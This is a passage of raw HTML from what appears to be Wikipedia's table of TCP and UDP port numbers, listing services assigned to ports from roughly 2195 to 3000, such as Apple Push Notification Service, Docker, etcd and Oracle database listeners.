href=\"/wiki/Apache_ZooKeeper\" title=\"Apache ZooKeeper\">Apache ZooKeeper</a> default client port<sup class=\"noprint Inline-Template Template-Fact\" style=\"white-space:nowrap;\">&#91;<i><a href=\"/wiki/Wikipedia:Citation_needed\" title=\"Wikipedia:Citation needed\"><span title=\"This claim needs references to reliable sources. (August 2016)\">citation needed</span></a></i>&#93;</sup>\n</td></tr>\n<tr>\n<td>2195</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Apple_Push_Notification_Service\" class=\"mw-redirect\" title=\"Apple Push Notification Service\">Apple Push Notification Service</a>, binary, gateway.<sup id=\"cite_ref-apple-kb-HT202944_11-46\" class=\"reference\"><a href=\"#cite_note-apple-kb-HT202944-11\">&#91;11&#93;</a></sup><sup id=\"cite_ref-apple-kb-HT203609_159-0\" class=\"reference\"><a href=\"#cite_note-apple-kb-HT203609-159\">&#91;157&#93;</a></sup>  Deprecated March 2021.<sup id=\"cite_ref-apple-dev-news-2020-10-09_160-0\" class=\"reference\"><a href=\"#cite_note-apple-dev-news-2020-10-09-160\">&#91;158&#93;</a></sup>\n</td></tr>\n<tr>\n<td>2196</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Apple_Push_Notification_Service\" class=\"mw-redirect\" title=\"Apple Push Notification Service\">Apple Push Notification Service</a>, binary, feedback.<sup id=\"cite_ref-apple-kb-HT202944_11-47\" class=\"reference\"><a href=\"#cite_note-apple-kb-HT202944-11\">&#91;11&#93;</a></sup><sup id=\"cite_ref-apple-kb-HT203609_159-1\" class=\"reference\"><a href=\"#cite_note-apple-kb-HT203609-159\">&#91;157&#93;</a></sup>  Deprecated March 2021.<sup id=\"cite_ref-apple-dev-news-2020-10-09_160-1\" class=\"reference\"><a href=\"#cite_note-apple-dev-news-2020-10-09-160\">&#91;158&#93;</a></sup>\n</td></tr>\n<tr>\n<td>2197</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Apple_Push_Notification_Service\" class=\"mw-redirect\" title=\"Apple Push Notification Service\">Apple Push Notification Service</a>, <a href=\"/wiki/HTTP/2\" title=\"HTTP/2\">HTTP/2</a>, <a href=\"/wiki/JSON\" title=\"JSON\">JSON</a>-based <a href=\"/wiki/API\" title=\"API\">API</a>.\n</td></tr>\n<tr>\n<td>2210</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/National_Weather_Service\" title=\"National Weather Service\">NOAAPORT</a> Broadcast Network\n</td></tr>\n<tr>\n<td>2211</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/EMWIN\" title=\"EMWIN\">EMWIN</a>\n</td></tr>\n<tr>\n<td>2221</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/ESET\" title=\"ESET\">ESET</a> anti-virus updates<sup id=\"cite_ref-eset_user_guide_5_2_161-0\" class=\"reference\"><a href=\"#cite_note-eset_user_guide_5_2-161\">&#91;159&#93;</a></sup>\n</td></tr>\n<tr>\n<td rowspan=\"2\">2222\n</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/EtherNet/IP\" title=\"EtherNet/IP\">EtherNet/IP</a> implicit messaging for IO data\n</td></tr>\n<tr>\n<td colspan=\"2\" style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/DirectAdmin\" title=\"DirectAdmin\">DirectAdmin</a> Access<sup id=\"cite_ref-directadmin-help-71_162-0\" class=\"reference\"><a href=\"#cite_note-directadmin-help-71-162\">&#91;160&#93;</a></sup>\n</td></tr>\n<tr>\n<td>2222–2226</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td>ESET Remote administrator<sup id=\"cite_ref-eset_user_guide_5_2_161-1\" class=\"reference\"><a href=\"#cite_note-eset_user_guide_5_2-161\">&#91;159&#93;</a></sup>\n</td></tr>\n<tr>\n<td>2240</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/General_Dynamics\" title=\"General Dynamics\">General Dynamics</a> Remote Encryptor Configuration Information Protocol (RECIPe)\n</td></tr>\n<tr>\n<td>2261</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/CoMotion\" title=\"CoMotion\">CoMotion</a> master\n</td></tr>\n<tr>\n<td>2262</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td>CoMotion backup\n</td></tr>\n<tr>\n<td rowspan=\"2\">2302\n</td>\n<td></td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/ArmA\" class=\"mw-redirect\" title=\"ArmA\">ArmA</a> multiplayer<sup id=\"cite_ref-:0_163-0\" class=\"reference\"><a href=\"#cite_note-:0-163\">&#91;161&#93;</a></sup>\n</td></tr>\n<tr>\n<td></td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Halo:_Combat_Evolved\" title=\"Halo: Combat Evolved\">Halo: Combat Evolved</a> multiplayer host<sup id=\"cite_ref-msft-kb-829469_164-0\" class=\"reference\"><a href=\"#cite_note-msft-kb-829469-164\">&#91;162&#93;</a></sup>\n</td></tr>\n<tr>\n<td rowspan=\"2\">2303\n</td>\n<td></td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td>\n</td>\n<td>ArmA multiplayer <i>(default port for game +1)</i><sup id=\"cite_ref-:0_163-1\" class=\"reference\"><a href=\"#cite_note-:0-163\">&#91;161&#93;</a></sup>\n</td></tr>\n<tr>\n<td></td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td>\n</td>\n<td>Halo: Combat Evolved multiplayer listener<sup id=\"cite_ref-msft-kb-829469_164-1\" class=\"reference\"><a href=\"#cite_note-msft-kb-829469-164\">&#91;162&#93;</a></sup>\n</td></tr>\n<tr>\n<td>2305</td>\n<td></td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td>\n</td>\n<td>ArmA multiplayer <i>(default port for game +3)</i><sup id=\"cite_ref-:0_163-2\" class=\"reference\"><a href=\"#cite_note-:0-163\">&#91;161&#93;</a></sup>\n</td></tr>\n<tr>\n<td>2351</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/AOL_Instant_Messenger\" class=\"mw-redirect\" title=\"AOL Instant Messenger\">AIM</a> game LAN network port<sup class=\"noprint Inline-Template Template-Fact\" style=\"white-space:nowrap;\">&#91;<i><a href=\"/wiki/Wikipedia:Citation_needed\" title=\"Wikipedia:Citation needed\"><span title=\"This claim needs references to reliable sources. (August 2016)\">citation needed</span></a></i>&#93;</sup>\n</td></tr>\n<tr>\n<td>2368</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Ghost_(blogging_platform)\" title=\"Ghost (blogging platform)\">Ghost (blogging platform)</a><sup id=\"cite_ref-gfb-config_165-0\" class=\"reference\"><a href=\"#cite_note-gfb-config-165\">&#91;163&#93;</a></sup>\n</td></tr>\n<tr>\n<td>2369</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td>Default for <a href=\"/wiki/BMC_Control-M\" class=\"mw-redirect\" title=\"BMC Control-M\">BMC Control-M/Server</a> Configuration Agent\n</td></tr>\n<tr>\n<td>2370</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td>Default for BMC Control-M/Server, to allow the Control-M/Enterprise Manager to connect to the Control-M/Server\n</td></tr>\n<tr>\n<td>2372</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td>Default for <a href=\"/wiki/K9_Web_Protection\" title=\"K9 Web Protection\">K9 Web Protection</a>/parental controls, content filtering agent<sup class=\"noprint Inline-Template Template-Fact\" style=\"white-space:nowrap;\">&#91;<i><a href=\"/wiki/Wikipedia:Citation_needed\" title=\"Wikipedia:Citation needed\"><span title=\"This claim needs references to reliable sources. (January 2018)\">citation needed</span></a></i>&#93;</sup>\n</td></tr>\n<tr>\n<td>2375</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td data-sort-value=\"\" style=\"background: #ececec; color: #2C2C2C; vertical-align: middle; text-align: center;\" class=\"table-na\">Reserved</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Docker_(software)\" title=\"Docker (software)\">Docker</a> REST API (plain)\n</td></tr>\n<tr>\n<td>2376</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td data-sort-value=\"\" style=\"background: #ececec; color: #2C2C2C; vertical-align: middle; text-align: center;\" class=\"table-na\">Reserved</td>\n<td></td>\n<td>\n</td>\n<td>Docker REST API (SSL)\n</td></tr>\n<tr>\n<td>2377</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td data-sort-value=\"\" style=\"background: #ececec; color: #2C2C2C; vertical-align: middle; text-align: center;\" class=\"table-na\">Reserved</td>\n<td></td>\n<td>\n</td>\n<td>Docker Swarm cluster management communications<sup id=\"cite_ref-docker-swarm-tutorial_166-0\" class=\"reference\"><a href=\"#cite_note-docker-swarm-tutorial-166\">&#91;164&#93;</a></sup><sup class=\"noprint Inline-Template\" style=\"white-space:nowrap;\">&#91;<i><a href=\"/wiki/Wikipedia:Verifiability#Self-published_sources\" title=\"Wikipedia:Verifiability\"><span title=\"This reference citation appears to be to a self-published source. (May 2018)\">self-published source</span></a></i>&#93;</sup>\n</td></tr>\n<tr>\n<td rowspan=\"2\">2379\n</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td data-sort-value=\"\" style=\"background: #ececec; color: #2C2C2C; vertical-align: middle; text-align: center;\" class=\"table-na\">Reserved</td>\n<td></td>\n<td>\n</td>\n<td>CoreOS <a href=\"/wiki/Etcd\" class=\"mw-redirect\" title=\"Etcd\">etcd</a> client communication\n</td></tr>\n<tr>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/KGS_Go_Server\" title=\"KGS Go Server\">KGS Go Server</a><sup id=\"cite_ref-gokgs-prefs_167-0\" class=\"reference\"><a href=\"#cite_note-gokgs-prefs-167\">&#91;165&#93;</a></sup>\n</td></tr>\n<tr>\n<td>2380</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td data-sort-value=\"\" style=\"background: #ececec; color: #2C2C2C; vertical-align: middle; text-align: center;\" class=\"table-na\">Reserved</td>\n<td></td>\n<td>\n</td>\n<td>CoreOS etcd server communication\n</td></tr>\n<tr>\n<td>2389</td>\n<td colspan=\"2\" style=\"background: #FF8; vertical-align: middle; text-align: center;\" class=\"table-maybe\">Assigned</td>\n<td></td>\n<td>\n</td>\n<td>OpenView Session Mgr\n</td></tr>\n<tr>\n<td>2399</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/FileMaker\" title=\"FileMaker\">FileMaker</a> Data Access Layer (ODBC/JDBC)\n</td></tr>\n<tr>\n<td>2401</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Concurrent_Versions_System\" title=\"Concurrent Versions System\">CVS</a> version control system password-based server\n</td></tr>\n<tr>\n<td>2404</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/IEC_60870-5-104\" class=\"mw-redirect\" title=\"IEC 60870-5-104\">IEC 60870-5-104</a>, used to send electric power telecontrol messages between two systems via directly connected <a href=\"/w/index.php?title=Data_circuit&amp;action=edit&amp;redlink=1\" class=\"new\" title=\"Data circuit (page does not exist)\">data circuits</a>\n</td></tr>\n<tr>\n<td>2424</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/OrientDB\" title=\"OrientDB\">OrientDB</a> database listening for binary client connections<sup id=\"cite_ref-orientdb-docs-dbserver_168-0\" class=\"reference\"><a href=\"#cite_note-orientdb-docs-dbserver-168\">&#91;166&#93;</a></sup>\n</td></tr>\n<tr>\n<td>2427</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Media_Gateway_Control_Protocol\" title=\"Media Gateway Control Protocol\">Media Gateway Control Protocol</a> (MGCP) media gateway\n</td></tr>\n<tr>\n<td>2447</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td>ovwdb—<a href=\"/wiki/OpenView\" class=\"mw-redirect\" title=\"OpenView\">OpenView</a> <a href=\"/wiki/Network_Node_Manager\" class=\"mw-redirect\" title=\"Network Node Manager\">Network Node Manager</a> (NNM) daemon\n</td></tr>\n<tr>\n<td>2456</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Valheim\" title=\"Valheim\">Valheim</a>\n</td></tr>\n<tr>\n<td>2459</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Xrp\" class=\"mw-redirect\" title=\"Xrp\">XRPL</a>\n</td></tr>\n<tr>\n<td>2480</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/OrientDB\" title=\"OrientDB\">OrientDB</a> database listening for HTTP client connections<sup id=\"cite_ref-orientdb-docs-dbserver_168-1\" class=\"reference\"><a href=\"#cite_note-orientdb-docs-dbserver-168\">&#91;166&#93;</a></sup>\n</td></tr>\n<tr>\n<td>2483</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Oracle_database\" class=\"mw-redirect\" title=\"Oracle database\">Oracle database</a> listening for insecure client connections to the listener, replaces port 1521<sup class=\"noprint Inline-Template\" style=\"white-space:nowrap;\">&#91;<i><a href=\"/wiki/Wikipedia:Manual_of_Style/Dates_and_numbers#Chronological_items\" title=\"Wikipedia:Manual of Style/Dates and numbers\"><span title=\"The time period mentioned near this tag is ambiguous. (September 2015)\">when?</span></a></i>&#93;</sup>\n</td></tr>\n<tr>\n<td>2484</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td>Oracle database listening for <a href=\"/wiki/Secure_Sockets_Layer\" class=\"mw-redirect\" title=\"Secure Sockets Layer\">SSL</a> client connections to the listener\n</td></tr>\n<tr>\n<td>2500</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td>\n</td>\n<td>NetFS communication<sup id=\"cite_ref-169\" class=\"reference\"><a href=\"#cite_note-169\">&#91;167&#93;</a></sup>\n</td></tr>\n<tr>\n<td>2501</td>\n<td></td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td>\n</td>\n<td>NetFS probe\n</td></tr>\n<tr>\n<td>2535</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Multicast_Address_Dynamic_Client_Allocation_Protocol\" title=\"Multicast Address Dynamic Client Allocation Protocol\">Multicast Address Dynamic Client Allocation Protocol</a> (MADCAP).<sup id=\"cite_ref-rfc2730-port_170-0\" class=\"reference\"><a href=\"#cite_note-rfc2730-port-170\">&#91;168&#93;</a></sup> All standard messages are UDP datagrams.<sup id=\"cite_ref-rfc2730-udp_171-0\" class=\"reference\"><a href=\"#cite_note-rfc2730-udp-171\">&#91;169&#93;</a></sup>\n</td></tr>\n<tr>\n<td>2541</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/LonTalk\" title=\"LonTalk\">LonTalk</a>/IP\n</td></tr>\n<tr>\n<td>2546–2548</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/EVault\" title=\"EVault\">EVault</a> data protection services\n</td></tr>\n<tr>\n<td>2593</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td>\n</td>\n<td><i><a href=\"/wiki/Ultima_Online\" title=\"Ultima Online\">Ultima Online</a></i> servers<sup class=\"noprint Inline-Template Template-Fact\" style=\"white-space:nowrap;\">&#91;<i><a href=\"/wiki/Wikipedia:Citation_needed\" title=\"Wikipedia:Citation needed\"><span title=\"This claim needs references to reliable sources. (August 2016)\">citation needed</span></a></i>&#93;</sup>\n</td></tr>\n<tr>\n<td>2598</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td>Citrix <a href=\"/wiki/Independent_Computing_Architecture\" title=\"Independent Computing Architecture\">Independent Computing Architecture</a> (ICA) with Session Reliability; port 1494 without session reliability<sup id=\"cite_ref-citrixblogger_132-1\" class=\"reference\"><a href=\"#cite_note-citrixblogger-132\">&#91;130&#93;</a></sup>\n</td></tr>\n<tr>\n<td>2599</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td>\n</td>\n<td><i>Ultima Online</i> servers<sup class=\"noprint Inline-Template Template-Fact\" style=\"white-space:nowrap;\">&#91;<i><a href=\"/wiki/Wikipedia:Citation_needed\" title=\"Wikipedia:Citation needed\"><span title=\"This claim needs references to reliable sources. (August 2016)\">citation needed</span></a></i>&#93;</sup>\n</td></tr>\n<tr>\n<td>2628</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/DICT\" title=\"DICT\">DICT</a><sup id=\"cite_ref-172\" class=\"reference\"><a href=\"#cite_note-172\">&#91;170&#93;</a></sup>\n</td></tr>\n<tr>\n<td>2638</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/SQL_Anywhere\" title=\"SQL Anywhere\">SQL Anywhere</a> database server<sup id=\"cite_ref-173\" class=\"reference\"><a href=\"#cite_note-173\">&#91;171&#93;</a></sup><sup id=\"cite_ref-174\" class=\"reference\"><a href=\"#cite_note-174\">&#91;172&#93;</a></sup>\n</td></tr>\n<tr>\n<td>2710</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td>\n</td>\n<td>XBT Tracker.<sup id=\"cite_ref-sf-xbtt-port_175-0\" class=\"reference\"><a href=\"#cite_note-sf-xbtt-port-175\">&#91;173&#93;</a></sup> UDP tracker extension is considered experimental.<sup id=\"cite_ref-sf-xbtt-udp_176-0\" class=\"reference\"><a href=\"#cite_note-sf-xbtt-udp-176\">&#91;174&#93;</a></sup>\n</td></tr>\n<tr>\n<td>2727</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Media_Gateway_Control_Protocol\" title=\"Media Gateway Control Protocol\">Media Gateway Control Protocol</a> (MGCP) media gateway controller (call agent)\n</td></tr>\n<tr>\n<td>2775</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Short_Message_Peer-to-Peer\" title=\"Short Message Peer-to-Peer\">Short Message Peer-to-Peer</a> (SMPP)<sup class=\"noprint Inline-Template Template-Fact\" style=\"white-space:nowrap;\">&#91;<i><a href=\"/wiki/Wikipedia:Citation_needed\" title=\"Wikipedia:Citation needed\"><span title=\"This claim needs references to reliable sources. (November 2018)\">citation needed</span></a></i>&#93;</sup>\n</td></tr>\n<tr>\n<td>2809</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td>corbaloc:iiop URL, per the <a href=\"/wiki/CORBA\" class=\"mw-redirect\" title=\"CORBA\">CORBA</a> 3.0.3 specification\n</td></tr>\n<tr>\n<td>2811</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td>gsi ftp, per the <a href=\"/wiki/GridFTP\" title=\"GridFTP\">GridFTP</a> specification\n</td></tr>\n<tr>\n<td>2827</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/I2P\" title=\"I2P\">I2P</a> BOB Bridge<sup id=\"cite_ref-geti2p-ports_177-0\" class=\"reference\"><a href=\"#cite_note-geti2p-ports-177\">&#91;175&#93;</a></sup>\n</td></tr>\n<tr>\n<td>2944</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Megaco\" class=\"mw-redirect\" title=\"Megaco\">Megaco</a> text H.248\n</td></tr>\n<tr>\n<td>2945</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td>Megaco binary (ASN.1) H.248\n</td></tr>\n<tr>\n<td>2947</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Gpsd\" title=\"Gpsd\">gpsd</a>, GPS daemon\n</td></tr>\n<tr>\n<td>2948–2949</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Wireless_Application_Protocol\" title=\"Wireless Application Protocol\">WAP</a> push <a href=\"/wiki/Multimedia_Messaging_Service\" title=\"Multimedia Messaging Service\">Multimedia Messaging Service</a> (MMS)\n</td></tr>\n<tr>\n<td>2967</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Symantec_AntiVirus\" class=\"mw-redirect\" title=\"Symantec AntiVirus\">Symantec System Center</a> agent (SSC-AGENT)\n</td></tr>\n<tr>\n<td rowspan=\"6\">3000\n</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Ruby_on_Rails\" title=\"Ruby on Rails\">Ruby on Rails</a> development default<sup id=\"cite_ref-178\" class=\"reference\"><a href=\"#cite_note-178\">&#91;176&#93;</a></sup>\n</td></tr>\n<tr>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Meteor_(web_framework)\" title=\"Meteor (web framework)\">Meteor</a> development default<sup id=\"cite_ref-179\" class=\"reference\"><a href=\"#cite_note-179\">&#91;177&#93;</a></sup><sup class=\"noprint Inline-Template\" style=\"white-space:nowrap;\">&#91;<i><a 